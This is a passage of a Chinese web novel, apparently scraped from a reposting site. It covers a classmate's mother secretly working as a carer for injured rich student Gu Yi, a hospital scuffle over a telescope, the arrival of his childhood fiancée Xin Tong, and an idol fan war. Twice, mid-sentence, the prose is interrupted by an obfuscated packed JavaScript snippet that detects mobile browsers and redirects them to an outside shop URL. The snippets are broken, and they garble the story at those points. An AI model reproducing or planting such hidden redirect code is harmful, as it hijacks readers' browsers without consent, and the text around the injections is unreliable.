——比如黄怀予家里就是这样。 而选择寄宿的,只有一成,基本全是外地出身、成绩较差、家长无更多心力去管的学生。 ——在这些人里,成绩稳定在年级前二十的苏琬,就是一个十足的异类。 …… 黄怀予带着苏明,有些忐忑地站在病房门口,敲了敲门,走了进去。 进去发现,谷奕大剌剌躺在床上,拿着手机正在打游戏。 “赢了赢了!” 谷奕注意到有人进来,心情还不错地放下手机,就看见黄怀予带着一个陌生中年女人进来。 那女人穿短袖和长裤,头发全部梳了上去,拿一个大大的蛇皮袋,面容和善,眼睛圆润,看着十分利落干净。 “这是……”黄怀予看苏明一眼,突然对于瞒着谷奕找了苏琬的妈妈这件事有点心虚,“苏阿姨。” “这是谷奕。” 谷奕躺床上。他刚刚赢了一盘游戏,又看见苏明看上去脾气很好,干事勤快,心里印象已经不错了。 他冲苏明点点头,一脸公事公办的语气:“苏阿姨。叫我谷奕就行。” “别客气。”苏明笑着放下袋子,环视一周,立刻卷起袖子,“我先帮你把衣服洗了。” 她眼里有活,已经迅速进入工作状态,拿起谷奕扔在沙发上的一堆衣服就出去了。 …… 谷奕面露惊讶:“这么勤快?” 他惊喜地看向黄怀予:“你从哪找来的人?” 黄怀予被夸得有些骄傲,坐下来说:“先做一天,试试工。” …… 苏明做过好几年护工,经验丰富,做事勤快,周到细致。 这一天下来,她把谷奕那一堆衣服全都给洗了,换了床单被套,病房收拾得干干净净焕然一新,帮他联系医生做完了所有检查和缴费,中午还跑了几公里去给谷奕买了灌汤包,顺便带了几袋香蕉和车厘子。 随叫随到,没有任何负担,平时完全不多话,做完了事甚至怕谷奕不自在而在病房外溜达。 晚上到点了自觉扶谷奕起来洗澡,热水器开好了,毛巾和睡衣全都准备好了。等谷奕洗完澡出来,她已经在门口搭好了一个行军床,晚上睡觉安安静静。 …… 谷奕难得睡了一个极好的觉。 第二天起来他感觉又清爽又干净,对苏阿姨极其满意,直接一个电话把黄怀予叫了过来。 “苏阿姨牛逼。” ——谷公子躺床上,吃着床头的车厘子。如果忽略他上半身缠了好几圈的绷带,简直是一派度假景象。 “……”黄怀予看苏明一眼,喜滋滋地给她竖个大拇指。 谷奕想起来什么:“是不是还没确定价钱?” 他拨弄几下刘海,一向对金钱没什么概念的脑瓜子动了动,看着斜上方的空气,随便说了一个数字: “一万?” 35. 第 35 章 “一个星期一万?!” 黄怀予一声大吼。 “不够?” 谷奕长眉挑起,不甚在意地又剥了一个香蕉:“两万?” “……”黄怀予感叹,“你可真有钱,你以后会被坑的。” “没关系。对我来说,坑我的钱不算坑。” 谷奕嘴里嚼着香蕉,说话含含糊糊的:“坑我的感情才叫坑。” …… 旁边的苏明吓了一跳:“不不不,就一个星期而已,一万块太多了……” “这多了?” 谷奕挠挠头。 “多了就多了呗。我不在乎。” “不行。”苏明很坚决地摇摇头,“这太多了,绝对不行。我们就按照一般价格来,不然你不就吃大亏了吗?” …… 一方无所谓,一方很坚持,黄怀予在中间,心想不向谷奕坦白苏明的身份可真是个明智的选择。 否则谷奕一定不会同意让苏琬的妈妈来给自己当护工,就算同意了也一定会开个天价。 ——不如现在,两方都处于官方客观的雇佣关系里,拿钱办事,非常合理。 …… 黄怀予想着前几天随便在某APP上查到的价格,基本都是在一个月四千到六千之间。 她说完,苏明点头,松了口气:“对,一个星期的话就除以四,一两千就行。” “一两千?”谷奕皱皱眉,在他的概念里这实在是很小的钱,“原来护工这么便宜?” 他扔掉香蕉皮,吃得有些撑,靠在床头。 “这两天我过得衣来伸手饭来张口的,都有点不好意思了。” “就六千六,数字吉利。不用再讲了。” 苏明急了:“这太多了!” 谷奕当没听到,拿起手机:“苏阿姨你银行卡号多少?” “……这……”苏明求助似地望向黄怀予,黄怀予看谷公子躺床上已经有些意兴阑珊,像是已经不想再为这点钱推脱了,只能拍拍苏明的手,“你发我支付宝吧,我等会转给阿姨。” “……” “欧了。” 谷奕扔掉手机,又戴上耳机,端起ipad,一边开始看视频,一边手上又拆了一包薯片。 “……” 黄怀予看见苏明不安地低下头,猜到她心里一定在为自己占了自己女儿同班同学的大便宜这件事而感到十分罪恶。 手机上已经弹出支付宝到账消息,六千六,这可真是一笔巨款。 她又看向床上的谷奕,感叹她倒是第一次见到谷奕这种富二代少爷气派的样子,跟平时头脑简单四肢发达的大傻完全不一样。 …… 她于是只能拍拍苏明的肩:“阿姨,因为你干得好,你应得的。” 苏明走来走去,突然站起来拿起包:“谷奕你今天中午想吃什么?我去给你买!” * 苏琬拄着拐杖,一步步踏上中心医院住院部门前的阶梯。 她前面是苏明和黄怀予。苏明左右手都拎着巨大的打包袋,黄怀予右手帮苏明拎着包。 “楚味楼哎!” 黄怀予闻着苏明手上袋子里传出的香味,口水都要流下来。 “楚门最好的酒楼!我就去过一次,还是那年李鸣月高考升学宴请的。” “阿姨,你也不用为了谷奕下这么大本吧!” 苏明摇摇头,语气温柔:“人家客气,开了这么高的价,这些都是应该的。” “那也不用买这么多菜吧……”黄怀予看着她手里满满两大袋,咋舌,“这得多少钱啊?” “只要吃得开心,就当不要钱。” 苏明笑容满面:“也不知道他喜欢吃什么。听琬琬说他是魔都人,平时看他也喜欢吃甜的,就多买了几道甜口的菜。” 黄怀予眼睛都快要离不开那两个大袋子了,她转头看苏琬,兴冲冲地说:“他肯定吃不完,剩下的我们俩分了。” “天气热,我没胃口。你吃吧。”苏琬看黄怀予脸颊红红的,额头还有汗,大热天还满心满眼惦记着吃的,不由得一笑。 三人慢慢走进住院部的大门。 苏琬动作慢,跟在后面。十月初的楚门烈日炎炎,空气闷热,她一转头,看见右后方驶来一辆全粉色的车。 那辆车很大,本地牌照,粉色的颜色极其扎眼,车前是一个苏琬完全不认识的logo。 车稳稳停在车位上。 ——门打开,苏琬只看到一只白色镶钻的高跟鞋踏出车身,踩上地面,发出一声清脆的响声。 再往上看,一个高挑年轻的女性慢慢从车里出来,站定。 她一头棕色波浪卷,穿着剪裁精致的浅色连衣裙,头上戴着一顶巨大的帽子,鼻梁上一架黑色墨镜,拎着一个小巧的包。 太阳毒辣,她静静站在医院门口。 …… 这里是楚门中心医院的住院部大门口,周围来来往往全都是老弱妇孺。那女子站在那里,整个人与周围的环境格格不入,吸引了无数目光。 她抬头看了看医院门口的字,像是确认了地方之后,就转身冲车的方向轻轻招了招手指。 “哗啦——” 车门又被拉开,下来两个全身黑西装黑皮鞋的壮汉。那两个人面无表情,动作迅速,把一样巨大的黑乎乎的东西小心翼翼地搬出了后备箱。 那东西看上去有点重量,全身漆黑,被两个壮汉像对待什么宝贝一样,极其小心地放在了地上。 ——是一架巨大的天文望远镜。 …… 女子掀起帽子,随意地扔回了车上,关上车门,踩着高跟鞋,一步步走上了住院部大门口的台阶。 那两个壮汉搬起那个巨大的望远镜,不苟言笑地紧紧跟在她身后。 …… 她一步步走进大厅。 这一行三个人实在是太过显眼,和周围的人相比实在是太过突出。 那女子顶着大厅里所有人注视的目光,环视一周,看到了左边的指引台,于是朝着指引台走去。 “你好。” 她摘下墨镜,露出一双上扬的丹凤眼。 “请问私人病房在几楼?” …… 指引台边的护士愣了愣,盯着她肩上垂坠的大耳环看了好几秒,才反应过来: “啊?哦哦,私人病房?” “私人病房要先登记。” 护士拿出一沓表格,抽出了一张,加上一支笔一起递给了她。 她接过来,只见一整面全部都需要填:“这么长?” …… 两人对话之间,那两个黑衣男人仍然挺直身子,抬着那架望远镜,毫无表情地站在女人身后,像两尊门神。 面色严肃,一身肌肉,凶神恶煞。 ——这里是住院部大厅的正门口,旁边就是电梯口,是人流量最多的地方。 人来人往,所有人经过都会看一眼门口的这三人。仅仅在这女子和护士交谈的一分钟之内,三个人已经牢牢吸引了大门所有人的目光注视。 …… 女子回头看了一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252956|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只见那两个男子如同私人保镖一般站在自己身后。 ——而周围已经逐渐聚集了几个人,开始议论纷纷。 她看看手里还要填好几分钟的表格,想了几秒回头说道: “你们先放下,去旁边呆着。等会我填完叫你们,你们再过来。” 两个黑衣男人:“是,老板。” 说完放下望远镜,快步走开,消失在旁边的楼梯口。 …… 苏琬拄着拐,站在电梯口,目光一直停留在旁边的指引台边。 她定定地看着旁边那架快要和她一样高的望远镜。 ——通身黑色,口径巨大,和男生寝室三楼,谷奕阳台上的那一架,很像很像。 “我去。有美女。” 黄怀予一边等电梯,一边够着脖子偷偷往指引台那边看。 那女子弯着腰正在填表,旁边的护士被另一个戳了一下手肘,立刻拿出一个凳子:“你坐着填吧!” “谢谢。”那女子露出一个微笑,丹凤眼扬起好看的弧度,耳环闪动。 护士看红了脸,“不,不用客气。” …… 医院的电梯一向很慢,几人已经站在电梯门口驻足了三分钟,后面已经排上了越来越多的人。 ——突然,黄怀予觉得左手上的石膏似乎被左边飞来的什么小东西打中了。她低头一看,脚边有一小个灰色的小圆球,迅速滚落到旁边。 她往左边看去,只见一个八九岁左右的小男孩从旁边窜出来,脸上笑嘻嘻的,手上还拿着一个塑料玩具手枪。 他大声尖叫着朝自己的方向跑过来,端起手里的枪冲着自己胡乱射——射出来好几个灰色小圆球,砸中自己左手手腕上的石膏,发出硬邦邦的“啪嗒——”声,又掉下去滚到墙边。 “打中了!” 他大声欢呼。 “……”黄怀予横他一眼,面无表情地居高临下地一直盯着他的眼睛,一直盯到他收起笑容,又尖叫着跑开了。 本以为已经能让他收敛,没想到没过一会他又跑过来,先是仰头牢牢盯着那架黑色的巨大的望远镜,盯了好久,随后立刻端起手枪,对着低处的目镜疯狂打。 ——一连七八个小圆球被用力砸到望远镜黑色的镜身上,发出一连串的“哒哒哒”声。 他尖叫:“打中了!——” 又像个猴子一样跑上前,抬起手开始用力摆弄目镜,掰来掰去。 “啪——” 下一秒,他的手就被一巴掌扇掉。 他立刻叫了一声啊,捂住手背,脸皱起来,抬头,看见黄怀予面无表情的脸。 “你家长呢?” 她冷冰冰地问。 “谁让你动别人的东西的?” 那男孩瞪起眼睛,冲黄怀予张开嘴吱哇乱叫,尖叫声堪比警报。 周围已经有好几个人都看了过来,他又掏出手枪,直接对准黄怀予的眼睛用力按下了扳机。 “让你打我!” “我把你弄瞎!” !!! 黄怀予瞳孔紧缩,立刻扭头避开。五六个灰色小圆球子弹重重打在她耳边,又被弹飞出去。 “……”她回头,只看见那男孩又冲着望远镜伸出双手,用力地左右摆弄目镜和寻星镜。 整个望远镜极重,他一下子用力过猛,居然整个往右扳倒——三脚架已经离地,眼看望远镜就要一整个朝右边砸下去。 !!! ——黄怀予立刻冲上前,伸出没受伤的右手抱住巨大的镜筒。 36. 第 36 章 整个望远镜极重,他一下子用力过猛,居然整个往右扳倒——三脚架已经离地,眼看望远镜就要一整个朝右边砸下去。 !!! ——黄怀予立刻冲上前,伸出没受伤的右手抱住巨大的镜筒。 坚硬的镜身一下子砸在她的手臂上,痛得她闷哼一声。那镜筒极重,直直地往下坠,她被拖得向右歪倒,双脚被三脚架绊住,最后“扑通——”一声咬牙跪在了地上。 ——镜筒被她的大腿稳稳地垫住了,没有着地。 “……”她跪在地上,呼出了一口气。 …… 这一切只发生在三秒钟之内。 周围人全部都看傻了,苏琬最先反应过来,一把拉住那个男孩的衣服,满脸怒意:“你干什么!” 苏明也放下手里的打包袋,冲上前去扶黄怀予:“小予!没事吧!” “怎么了?怎么了?” 巨大的动静吸引了指引台边的护士,以及正在低头填表的那女子。 ——她回过头,惊讶地看着面前这一幕。 护士赶紧冲出来:“又怎么了?” 那男孩看见周围的人全部都已经看了过来,连护士都已经过来,事情已经越闹越大,立刻就开始挣扎想逃开。 “别动!” 苏琬紧紧抓住他的衣服,脸上是从未出现过的冰冷怒意。 …… 苏明见黄怀予摇摇头表示没事,立刻抬起头对护士说:“这小孩把别人的望远镜弄倒了。” 黄怀予跪在地上,旁边有路人已经走上来帮忙把望远镜给扶了起来。 她撑着身体想站起来,就听见前方“咚咚咚——”穿来一阵急促的高跟鞋声。 抬起头,看见一个急匆匆的身影朝自己走过来。 ——那女子一整个扑过来,蹲在黄怀予前面,白皙的脸上满是焦急: “没事吧?有没有伤到?” 她伸出手,扶着黄怀予慢慢站了起来。黄怀予鼻间萦绕着她的发香,抬头,看见她轻轻蹙起的弯眉。 “……没事。你先看看你的望远镜有没有摔到吧。” “那个不要紧。”她似乎对望远镜没什么兴趣,认真地上下看了看黄怀予,确认她真的没事,才松了一口气。 “啊啊啊啊——放开我——放开我——” 那男孩还在不断挣扎,他被苏琬牢牢抓住,看着苏琬阴沉的脸色,吓得大哭出声,尖叫起来。 ——“你们干什么!你们在干什么!” 后面突然冲出来一个中年男人,五短身材,晃着啤酒肚,一把推开苏琬:“谁让你动我儿子的?!” 苏琬拄着拐,又一只手拉住那男孩的衣服,猛然被用力一推,立刻失去平衡,趔趄了几步之后立刻被旁边吓了一跳的护士扶住了。 “你干什么推别人!”护士冲着他叫。 “推你怎么了?你凭什么动我儿子?” 那男孩看见中年男人来了,立刻发出杀猪一般的吼叫:“爸爸——她们欺负我——” 男人怒不可遏,脸上的肉挤在一起。 “谁欺负你了!你说!” 男孩抽抽噎噎地指着黄怀予和苏琬。 …… “你儿子冲我们打枪,差点打到眼睛。又动手推倒了别人的望远镜,最后还想逃跑。你刚刚还推了我女儿。” 苏明满脸愤怒地看着他。 “你放屁!他才几岁,就是个小孩子,他懂什么!” “你们几个人在这里一起欺负一个小孩子,你们要不要脸?” “……” 黄怀予翻个白眼,“管他几岁,反正事情都是他做的。” “那他也是小孩子,他不懂事,玩一玩怎么了!” “又没伤到你们,你们在这里大呼小叫的干嘛?” 他越说越激动,站在电梯口大喊大叫:“这几个女的真是死不要脸,对一个八岁的小孩子呼来喝去的!” 那男孩听到这里,突然发出一声适时的大叫:“爸爸,她们打我!” “什么?!”那男人挺直腰杆,粗壮的身体往前一步,“你说谁打你!爸爸给你报仇!” 男孩指着黄怀予:“她打我。” 又指着苏琬:“她凶我。” “好啊!敢打我儿子!” 他目露凶光,扬起手就准备走上前。 旁边的护士立刻脸色一变,走到他面前:“你干什么!别在这里大喊大叫的,是你儿子先动了别人的望远镜!” 几个护士眼看情形不对,立刻上前挡住男人,还有一个护士立刻跑到旁边打电话。此时此刻电梯口已经聚集了一大堆人,来来往往的路人都围成了一个小圈看热闹。 “望远镜?”他看了一眼旁边黑色的架着的镜筒,面露不屑,“就这个?这谁的?” “我的。” 一旁的那女子突然出声回答。 她踩着高跟鞋,一步步走到男人面前。 “你的?”他上下打量了一下她,目露威胁,“不就小孩子动了一下吗,你小题大做什么?” 小题大做? 苏明在一旁生气地喊道: “差点摔了,还叫小题大做?摔坏了怎么办,你赔?” “谁说摔坏了?谁看见了?我看是你们想碰瓷吧!” ——这话一出,旁边的人群传来叽叽喳喳的议论声。动了人家的东西,还反过来说人家碰瓷,这实在太过分。 旁边一个刚刚帮黄怀予扶起望远镜的路人开口说话:“我看见了,是你儿子摔的。如果不是那个女生垫了一下,一定就摔了。” “关你屁事?!” 那男人目露凶光,语气恶劣。 周围开始有更多人不满,站出来说:“没错啊,我也看到了,是你儿子自己去动别人的东西。” “你自己管不住自家小孩,怎么还这种态度?” “真是没教养啊。明明自己有错在先,还倒打一耙。” “一个男的,欺负人家几个女的,真好意思。” …… 那男人气得七窍生烟,脸上横肉颤动。 旁边的男孩仿佛也意识到他爸爸处于下风,又开始大声哭起来。 “……死细裸,吵死了。” 黄怀予被这噪声吵得心烦意乱。 碰瓷? 她呼出一口气,看了一眼旁边的望远镜,又看了一眼刚刚被推了一把的苏琬,心想一定要让这两人付出代价。 她扯扯那女子的手:“要不你检查一下,看看望远镜有没有坏。” 她指着目镜的位置,手指轻轻敲了敲,冲那女子眨眨眼。 “仔细点检查。” …… 那女子看着她,一愣,随后点点头。 她上前认真看了看,又转了转上面的寻星镜,最后转过身,直视男人,平静地说。 “目镜镜头损坏。” …… “还真的坏了啊。” “刚刚我都看到了,那小孩拿个假手枪到处打,你看,这满地都是圆球,全是他打出来的子弹。” “哦,那肯定是拿那个手枪把望远镜给打坏了。” …… 护士:“现在这位女士说她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252957|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的望远镜确实损坏了,大家都看到是你儿子弄的。我现在报警,处理一下赔偿事宜。” “什么?!” 他一声吼:“你这什么破望远镜,你说坏了就坏了?凭什么让我赔?” 黄怀予立刻见缝插针说了一句:“我看是你赔不起吧。” “……你!” 周围人聚集得越来越多,对两人的指指点点越来越多。他咬牙看了一圈,硬着嘴说:“行啊,赔就赔。你说你这个破东西多少钱?” “一万九。”女子平静地说道。 “什么?!?!” 他一下子跳起来,指着女子,眼神凶悍。 “你来碰瓷的吧?我才不信你这望远镜值这么多钱!” 他越说越气愤,认定她是故意污蔑,赖在自己儿子身上,立刻指着她大吼: “还一万九?你买得起一万九的东西吗?” “穿得一身骚样,我看你是出去卖的吧!还想来骗我!” 说完,他竟然上前两步,对着她扬起了手。 !! 突然,楼梯拐角一下子冲出两个人高马大的壮汉。 两人穿一身黑,动作迅速,立刻冲到女子身边。一人擒住男人的手,一人抬起脚就用力把男人踹倒在地。 …… 那男人上一秒还凶狠异常,下一秒就被掀翻在地。 “哎呦哎呦”喊了几声疼以后,他抬起头——看到两尊门神一般又高又壮的黑衣男人,正站在自己面前,面无表情地看着他。 他立刻瞪大眼睛,蔫了下去,涨得满脸通红,闭紧了嘴,说不出来一个字。 …… 没有报警,人群散开,男人挨了一脚,带着孩子灰溜溜地走了。 “谢谢你们!” 女子满眼感动地看着面前的三人。 黄怀予和苏琬对视一眼,想说不用客气,可是才刚刚说出来“不用——”两个字就被人打断。 ——“老板对不起!我们来迟了!” 女人身后那两个黑衣人立正,鞠了一个90度的躬,大声喊道。 “……” 她回头瞪他们两人一眼。但是他们弯着腰,完全没看到女人的眼神。 “……”黄怀予接着说:“不用客气,我们就是——” “老板对不起!害得您差点受伤!” “……你望远镜——” “老板对不起!我们没有看好送给少爷的望远镜!” 女人忍无可忍,回头:“闭嘴!” 两个黑衣男立刻直起身:“好的老板。”说完立刻一左一右跑到望远镜旁边,抬了起来。 “……别抬了。”她指着右边一个人,又指向苏明手里的两大包东西,“你,过来帮忙拿东西。” “好的老板。” 两人立刻把望远镜放下,左边的人一个人把望远镜搬了起来,右边的人一个箭步冲上前,不由分说地接过了苏明手里的两大包东西。 …… 女人回过头,满脸歉意。 “我叫辛桐。” “请问,你们知道私人病房在几楼吗?” 苏明有些惊讶:“知道知道,在七楼,我们也是去私人病房的。你跟着我们上去就行了。” ——辛桐却闻言一愣。 “你们也是去私人病房?” 她看看脚上打石膏的苏琬,又看看手上打石膏的黄怀予,最后看看刚刚将苏琬称作自己女儿的苏明。 “……不会就这么巧吧。” 她面向苏琬,神情有些难以言喻。 “你就是苏琬?” 37. 第 37 章 安静的病房里,谷奕正躺在床上看手机。 “啪——”门突然被大力打开,伴随着高跟鞋叩击地面的清脆声音,谷奕吓得一抖,手机直直地摔了下来,正好砸中鼻子。 “哎呦!” 谷奕痛得直叫,满怀怒意抬起头,却在看见来人的那一刻彻底愣住。 “……你,你……” “……你怎么会来这……” 辛桐把鼻梁上的墨镜抬到额头,抱胸站定,棕色的波浪卷长发缓缓落在肩头。 她歪头,看了看谷奕的样子,又上下左右扫视了一下他的房间。 随即,露出一个笑容:“来看你死了没。” …… “昨天的飞机,从魔都过来的。” “你来云省也一个月了。听说你最近居然打架受伤了,特地来看你,来看看什么样的人居然能把你打到受伤。” “……”谷奕一下子被这个刚走进来就戳穿自己现状的人说中心事,一下子脸就涨红,“那是我以一敌二,才会受伤!” 他又很快反应过来:“你怎么知道我在这里?” “谷姨说的。” “?那她又是怎么知道的?” “当然是她的好同学、你的班主任呀。” ??? 谷奕瞪大眼睛,这才意识到马辉才是自己身边最大的监控,怪不得她就算隔着那么远,也对自己的事情一清二楚。 “……怎么,不欢迎我?” 辛桐笑了笑,打了一个响指。 门又被打开,两个黑衣男人走进来。左边的人搬着一个巨大的黑色望远镜,右边的人手里拿着两大包鼓鼓囊囊的东西。 两个人走进来,90度鞠躬,齐声道: “少爷好!——” 左边的人小心翼翼放下望远镜,立正洪声道: “报告少爷,这是小姐送您的,星特朗AVX925。” “就算打架被打败!受伤!” “像个植物人一样下不了床!” “只能躺床上哪也去不了!” “也没关系!您依然可以仰望星空!” …… 辛桐看着谷奕青一阵白一阵的脸色,脸上的笑藏都藏不住。 …… 谷奕喘着气,破罐破摔地指着右边的人手上的两大包东西。 “你这又是什么!” “报告少爷!”那人响亮地回答道:“我也不知道。是帮别人拿的。” “帮谁?!” ——门再次被打开,黄怀予走进来。 “帮我。” …… “这是楚味楼的菜。这是我们楚门最高档的饭店,我特地去买给你尝尝。” “不知道你喜欢吃什么,就什么都买了一些。” “你看看,这有糖醋排骨,我估计着你应该喜欢吃吧?” 苏明一边在桌上摆碗筷,一边低头不停地介绍着。 谷奕却只是愣愣地看着一行人之中,最后才走进来的苏琬。 ——她拄着拐杖,行动很慢。 应该很不方便吧。这么热的天,怎么还出来? ……是特地来病房看自己的吗? 谷奕突然心情就变得很好。 他更加认真地去看苏琬的表情,却只见她低着头,站在墙边,一言不发,偶尔抬起头看看正中间的辛桐,又很快低下头,神色黯然,不知道在想些什么。 他有些奇怪,又去看黄怀予。却见黄怀予抱着胸,站在一旁,脸色也有些不好看,还狠狠瞪了他好几眼。 ?? “谷奕,快吃。” “……哦好。”他低头,看着床边满满一桌菜,“太多了阿姨,要不你和黄怀予苏琬一起来吃吧。” “哼。” 一旁的黄怀予发出一声轻哼:“不用了。给大少爷买的,我们怎么敢吃。” “……”谷奕奇怪地看她一眼,“昨天还大傻大傻的,今天就少爷了?” “哎呦我哪敢哪,大傻也是我配叫的?您可不傻,您聪明着呢,不知道还有多少事瞒着我们。” “……” 谷奕有点懵,不知道为什么黄怀予突然这种语气。 他拿起筷子说:“阿姨,多少钱,我转给你报销。” 苏明赶紧说:“不用不用!这顿饭算是我请你吃的!你给了那么多工钱,这一顿饭的钱我必须得请。” “对了,怎么一直没有看见你换下来的内裤?我去给你洗了。” “咳咳!”谷奕呛到,脸上染上一点红,“不用了,我……我直接扔了。” “那多浪费啊。你不用怕,洗内裤跟洗其他衣服一样,都是护工应该做的。” …… “护工?” 辛桐疑惑地看了看苏明,又看了看角落里一言不发的苏琬。 “阿姨,你不是苏琬的妈妈吗?” !!! 谷奕愣怔,手里的筷子掉在了被子上。 …… 房间里的气氛一下子就变得诡异起来。 辛桐左看右看,似乎是一下子反应过来:“你不知道?” “……” 谷奕呆住,一动不动。 一秒。两秒。三秒。 他机械地转头,不可置信地看向黄怀予。 ——却只见黄怀予挠挠鼻子,表情有些不自然,最后看他一眼,只得随意承认道: “昂,是的。” …… 这三个字,彻底打破了谷奕最后一丝希望。 “啊啊啊啊啊啊啊啊啊啊——” 他抱头,满脸通红,崩溃大叫。 给自己洗衣服、给自己换床单、扶自己起床、给自己准备睡衣、帮自己大热天出去买午饭,睡在自己床的旁边,以及,差一点就帮自己洗内裤…… ——这两天,整天在自己旁边做这些事的,就是苏琬的妈妈。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——” 他愤怒指责黄怀予:“你为什么不让我知道!” “让你知道,你就没护工了。” 黄怀予捂住耳朵。 “你要是知道了,还能同意她来给你当护工吗?就算你同意,你不知道她是苏琬妈妈,你都给了六千六,你要是知道,你得给多少钱?到时候又是一番长久的争执。” “我身为中间人,有义务保持你们之间的关系是客观公正的雇佣关系,这样你好我好大家好。” …… “哈哈哈哈哈!!!” 辛桐抱着手,在一旁极有兴趣地围观了全程。 前几天,谷姨给自己打的电话里,只说了苏琬和黄怀予这两个名字。 但是早在一楼的电梯口时,她就 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“送你的。网上都说这个牌子最好,我就买了。” “刚刚在楼下摔了一下,不过没坏。不用感谢我,免得你这一个星期在医院太无聊。” “行了,现在看也看完了,既然你没死,我也能安心回去了。” 她踩着高跟鞋,一步步走向门口,棕色长发在她身后晃出一个漂亮的弧度。 ——正准备走出病房门,她突然停住,转身,看向一旁的苏琬和黄怀予,眼睛眨了眨。 “我不熟悉路,可以麻烦你们送我一下吗?” …… 医院大门口,苏琬又看到了那辆全身粉色的跑车。 辛桐站在车前,打开车门,掏出三个巨大的纸袋,上面印着大大的奢侈品logo。 “初次见面,一点心意。” “!” 苏琬和黄怀予对视一眼,立刻摇头:“不不不,这太贵重了!” 辛桐笑了笑,直接把袋子塞到了旁边一个黑衣男的怀里。 “你等会给她们送上去,再下来。” 那人立刻立正,敬了个礼:“好的,老板!” “……”苏琬有些头痛,怎么这些有钱人全部都不听人说话呢? “就当感谢你们刚刚在大厅帮我说话的谢礼。” 辛桐声音温柔,眼神含着笑意。 “而且,你们是谷奕的朋友。谷奕的朋友,就是我的朋友。” …… 眼前的女生举止大方,语气柔和,笑容友好。 “……” 苏琬低下头,一想到自己刚刚那些沉默的小心思,只觉得难堪。 她抬起脸,神色认真。 “谢谢你。我叫苏琬,很高兴认识你!” 辛桐嘴角扬起,点点头:“我也是。” 一旁的黄怀予忍到现在,终于再也忍不住了,钻出来,眼睛圆溜溜地盯着辛桐。 “所以……” “你和谷奕到底是什么关系?” 辛桐一愣,像是没想到黄怀予会这么直接地问出来。 她刚想回答,旁边站着的如同定海神针的一个黑衣男就大声道: ——“谷奕少爷是小姐的未婚夫!” 38. 第 38 章 ——“谷奕少爷是小姐的未婚夫!” …… 黄怀予脸色一变。 她迅速去看苏琬,只见苏琬瞪大眼睛,状似呆呆地眨了眨眼,最后有些失落地咬紧了下唇。 “……谁让你多嘴!” 辛桐狠狠瞪了那人一眼。 那人知道自己又犯错了,有点委屈,又90度鞠躬: “对不起老板!” “但是……我也不知道这个不能说。” “……”她恨铁不成钢地教训道,“没有提前教你的话,全都不能说!” “别鞠了,一边去。” 辛桐赶走两个黑衣人,露出一个极其无奈的笑。 ——“娃娃亲而已。没有任何法律效力的。” “我跟谷奕家里关系好,所以从小就认识。” “但是,就算世界末日到了,全世界只剩我们两个,我跟他之间也不会有任何可能的。” 辛桐说到这里,语气十分坚决。 “我从小就不喜欢他那种类型的。太高,看他得一直仰着脖子,累死了。” “而且他初中太混,幼稚得很。” “你叫他大傻?太准确了,这两个字就足以完美形容他。” …… 黄怀予瞄了一眼旁边的苏琬,心情又变得好起来。 她兴致勃勃地问:“最后一个问题!” “他家是胜家酒店,那你家是干什么的?” “我家?” 辛桐打开车门,坐进去,肩上长长的流苏耳环晃晃荡荡,发出清脆的声音。 她冲着车外的两人一笑。 “如春饭店。” “下次你们来,随便吃。” 粉色跑车扬长而去。 * MOON团综正式上线了。作为第一期的番外篇,陆橙和赵焰的舞蹈挑战也发了出去。 视频一出,俊男美女的视频还小火了一把。某视频网站还多了几个剪辑素材,有一些路人在评论里直呼好嗑。 ——可是在微博,就没有那么一派祥和了。 舞蹈挑战从一两个月以前的预告开始,女主角就是沈一瑾。 可是现在正式播出的时候突然变成了队友陆橙。 沈一瑾的粉丝极其不满,在官博下大骂,齐心协力换头像、洗广场、做控评图,把平时糊得只有十几条评论的官博冲得一下子变成了六千多条。 陆橙粉丝不服气,平时沈一瑾好资源也很多,为什么一定要所有的都是她的?自家孩子就不能也多点资源吗? ——于是沈粉和陆粉开始了正面掐架。 在MOON里,沈一瑾是当之无愧人气最高、粉丝最多、路人知名度最高的。在其他人全网粉丝加起来不到两百个的糊咖队友的衬托下,这场掐架几乎是沈一瑾粉丝单方面的碾压。 所以撕着撕着,沈一瑾大粉也意识到撕陆橙那少得可怜的几个小粉丝实在是没意思,于是到最后就开始继续对准火力炮轰新娱公司和运营。 …… 就在沈粉攻下官博的几天后,沈一瑾却突然半夜出现在粉丝群,和粉丝聊天,说这件事和队友无关,甚至话里还明里暗里将原因指向了公司和男主角。 沈一瑾粉丝群大半夜沸腾了,正主都亲自下场告诉你方向了,还等什么? 粉丝开始各种疯狂扒男主角赵焰和公司的各种关系八卦。 ——于是,一夜之间,就迅速扒出了赵焰和公司高管贾威之间的亲戚关系。 紧接着又开始对那个舞蹈挑战视频各种抠细节,逐帧逐字分析在那个发出来的视频中陆橙的各种微表情和微细节,论证出陆橙在很多地方都对赵焰显示出明显躲避的姿势和神态。 ——一时间,赵焰、沈一瑾、陆橙的名字竟然全都上了热搜。 …… 公司高层极其生气,明红在公司大会上听了大几十分钟的训斥,散会后立刻疯狂电话轰炸沈一瑾。 “哎哟我的小姑奶奶,你就别作了!” “少说两句行吗?” “公司刚刚开会指示,之后你有两个个人项目都黄了。公司准备给别人。” 明红一口恨铁不成钢的语气:“你呀!这下好了吧?” “……黄了就黄了吧。” 沈一瑾坐在练习室的地板上,抠着手指,嘴翘得很高,半晌才说出来一句,“我就是看不惯他。” 